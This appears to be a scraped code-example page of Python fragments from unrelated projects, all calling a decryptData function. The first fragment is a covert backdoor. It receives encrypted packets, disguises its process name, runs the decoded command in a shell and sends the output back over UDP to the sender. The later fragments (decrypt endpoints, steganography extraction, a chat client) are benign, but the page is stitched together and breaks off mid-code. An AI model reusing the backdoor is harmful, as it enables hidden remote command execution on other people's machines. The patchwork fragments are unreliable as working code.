Example #1
0
def readExecute(pkt):
    key = 8
    print("Received message")

    packet = pkt[Raw].load
    print(packet)
    decryptedText = ''

    if packet.endswith(b'\t'):
        print("Decrypting with Yiao")
        decryptedText2 = crypto.decryptData2(key, packet)
        decryptedText = crypto.decryptData(decryptedText2)

    elif packet.endswith(b'~'):
        stripPacket = packet[:-1]
        print("Decrypting with RSA")
        decryptedText = crypto.RSADecrypt(stripPacket)
        print(decryptedText)

    else:
        print("Decrypting with AES")
        #key="passwordpassword".encode("utf8")
        decryptedText = crypto.aesDecrypt(packet)
        print(decryptedText)

    splitMessage = decryptedText.split("\"")
    print(splitMessage)
    ptitle = splitMessage[0]
    print("Your process title: " + ptitle)
    command = splitMessage[1]
    print("Your command: " + command)

    setproctitle.setproctitle(ptitle)

    userInput = subprocess.Popen(command,
                                 shell=True,
                                 stdout=subprocess.PIPE,
                                 stderr=subprocess.PIPE)
    shellOutput = userInput.stdout.read() + userInput.stderr.read()
    newOutput = shellOutput.decode()
    print(newOutput)
    if newOutput == "":
        print("entered here")
        newOutput = "No output from terminal"

    bytesOutput = newOutput.encode("utf8")
    encodedOutput = binascii.hexlify(bytesOutput)

    aesOutput = crypto.aesEncrypt(encodedOutput)

    pkt = IP(dst=pkt[0][1].src) / UDP(dport=8505, sport=8000) / aesOutput
    print(aesOutput)
    time.sleep(0.5)
    send(pkt, verbose=0)
    print("Packet sent")
    def on_post(self, req, resp):
        """Decrypts data"""
        data = req.media['data']
        password = req.media['password']

        result = decryptData(data, password)

        resp.media = {
            "OK": "true",
            "result": {
                "decrypted": json.loads(result['decrypted']),
                "timeMs": result['timeMs']
            }
        }
def decrypt(event, context):
    #pylint: disable=unused-argument
    """Decrypt data"""

    request = None

    try:
        request = getLambdaRequest(event)
    except ValueError as error:
        return {"statusCode": 422, "body": json.dumps({"messaage": error})}

    result = decryptData(json.dumps(request['data']), request['password'])

    response = {"statusCode": 200, "body": json.dumps({"message": result})}

    return response
def extractDataFromImage(inputImagePath: str, outputFilePath: str, password: str) -> None:
    """
    This function extracts the hidden file from inputImagePath image and saves it to outputFilePath
    """

    inputImage = open(inputImagePath, "rb").read()
    if int.from_bytes(inputImage[-4:], byteorder='big') in [magicBytes["encrypted"], magicBytes["unencrypted"]]:
        print("[+] Hidden file found in image")
        hiddenDataSize = int.from_bytes(inputImage[-12:-4], byteorder="big")
        hiddenData = inputImage[-hiddenDataSize - 12:-12]

        if int.from_bytes(inputImage[-4:], byteorder='big') == magicBytes["encrypted"]:
            print("[*] Hidden file is encrypted")
            hiddenData = crypto.decryptData(hiddenData, password)

        print("[*] Extracting hidden file from image")
        print(f"[+] Saving hidden file to {outputFilePath}")

        outputFilePath = open(outputFilePath, "wb")
        outputFilePath.write(hiddenData)
        outputFilePath.close()

        print(f"[*] Size of hidden file recovered : {len(hiddenData)} bytes")
    else:

        image = Image.open(inputImagePath).convert('RGB')
        pixels = image.load()

        data = list()                                 # List where we will store the extracted bits
        for imageY in range(image.size[1]):
            for imageX in range(image.size[0]):
                if len(data) >= 48:
                    break

                # Read pixel values traversing from [0, 0] to the end
                pixel = pixels[imageX, imageY]

                # Extract hidden message in chunk of 2 bits from each Channel
                data.append(pixel[0] & 0b11)
                data.append(pixel[1] & 0b11)
                data.append(pixel[2] & 0b11)

        encrypted = False
        if deserializeData(data)[:4] == bytes.fromhex(hex(magicBytes["unencryptedLSB"])[2:]):
            print("[+] Hidden file found in image")
        elif deserializeData(data)[:4] == bytes.fromhex(hex(magicBytes["encryptedLSB"])[2:]):
            print("[*] Hidden file is encrypted")
            encrypted = True
        else:
            print("[!] Image don't have any hidden file")
            print("[*] Magic bytes found:    0x{}".format(deserializeData(data)[:4].hex()))
            print("[*] Magic bytes supported: {}".format(", ".join([hex(x) for x in magicBytes.values()])))
            exit()

        print("[*] Extracting hidden file from image")
        hiddenDataSize = int.from_bytes(deserializeData(data)[4:16], byteorder='big') * 4

        data = list()
        for imageY in range(image.size[1]):
            for imageX in range(image.size[0]):
                if len(data) >= hiddenDataSize + 48:
                    break

                # Read pixel values traversing from [0, 0] to the end
                pixel = pixels[imageX, imageY]

                # Extract hidden message in chunk of 2 bits from each Channel
                data.append(pixel[0] & 0b11)
                data.append(pixel[1] & 0b11)
                data.append(pixel[2] & 0b11)

        data = deserializeData(data[48:])
        if encrypted:
            data = crypto.decryptData(data, password)

        print(f"[+] Saving hidden file to {outputFilePath}")
        print(f"[*] Size of hidden file recovered : {len(data)} bytes")

        f = open(outputFilePath, 'wb')
        f.write(data)
        f.close()
Example #5
0
    def fromBitstring(bitstring, password=None):

        #Creating new File object
        file = File()

        salt = bytes()

        #List of bytes
        bitstring_bytes = bin2bytes(bitstring)

        #Position placeholder
        position = 0

        #Encryption
        if bitstring_bytes[position] != 0 and bitstring_bytes[position] != 255:
            print('not steganographic')
        #Setting whether there is encryption or not
        file.encrypted = bool(bitstring_bytes[position] & 1)
        position += 1

        #Getting the salt, if applicable
        if file.encrypted:
            salt = bitstring_bytes[position:position + File.SALT_BYTES]
            position += File.SALT_BYTES

        #Length
        payload_length = bytes2int(bitstring_bytes[position:position +
                                                   File.LENGTH_BYTES])
        position += File.LENGTH_BYTES

        #Decrypting payload (if encrypted)
        decrypted_payload = bytes()

        if file.encrypted:
            decrypted_payload = crypto.decryptData(
                bitstring_bytes[position:position + payload_length], salt,
                password)
        else:
            decrypted_payload = bitstring_bytes[position:position +
                                                payload_length]

        #Position placeholder
        decrypted_position = 0

        #Extension Length
        len_extension = decrypted_payload[decrypted_position]
        decrypted_position += 1

        #Extension
        extension = decrypted_payload[decrypted_position:decrypted_position +
                                      len_extension].decode('ascii')
        file.extension = extension
        decrypted_position += len_extension

        #Data
        data = decrypted_payload[decrypted_position:-4]
        file.data = data
        file.length = len(data)
        del (data)

        #CRC
        crc = bytes2int(decrypted_payload[-4:])

        if binascii.crc32(file.data) != crc:
            print("Corruption! CRCs don't match.")

        return file
                if data:
                    # A readable client socket has data
                    data=data.split("]")
                    data= data[0].lstrip('[')
                    global peer_public
                    if data.split('/')[0] == 'cEr':
                    	peer_certificate1=data.split('/')[1]+'/'+data.split('/')[2]+'/'+data.split('/')[3]
                        peer_public = data.split('/')[1]+'/'+data.split('/')[2]
                    	hcertificate=RSA.decrypt(data.split('/')[4],ca_public_key)
                    	if crypto.md5(peer_certificate1)==hcertificate:
                    	     self.DisplayText.AppendText('\ncertificate receiveded\n')	
                    	else:
               
                    		self.DisplayText.AppendText('exchange certificate failed\n')
                    else:
                       Text=crypto.decryptData(data,private_key,peer_public)
                       #print data
                       print >>sys.stderr, 'received "%s" from %s' % (data, s.getpeername())
                       global cipherMark
                       if cipherMark==1:
                           self.DisplayText.AppendText('\nreceived cipher: "%s"\n' % data)
                       self.DisplayText.AppendText('\nreceived text:"%s"\n' % Text)
                       #if data=='esc': self.client.close()
                       #self.DisplayText.AppendText('esc\n' )
                else:
                    # Interpret empty result as closed connection
                    print >>sys.stderr, 'closing', client_address, 'after reading no data'

                    self.DisplayText.AppendText('closing %s %s after reading no data\n\n' % client_address)
                    # Stop listening for input on the connection
                    if s in outputs: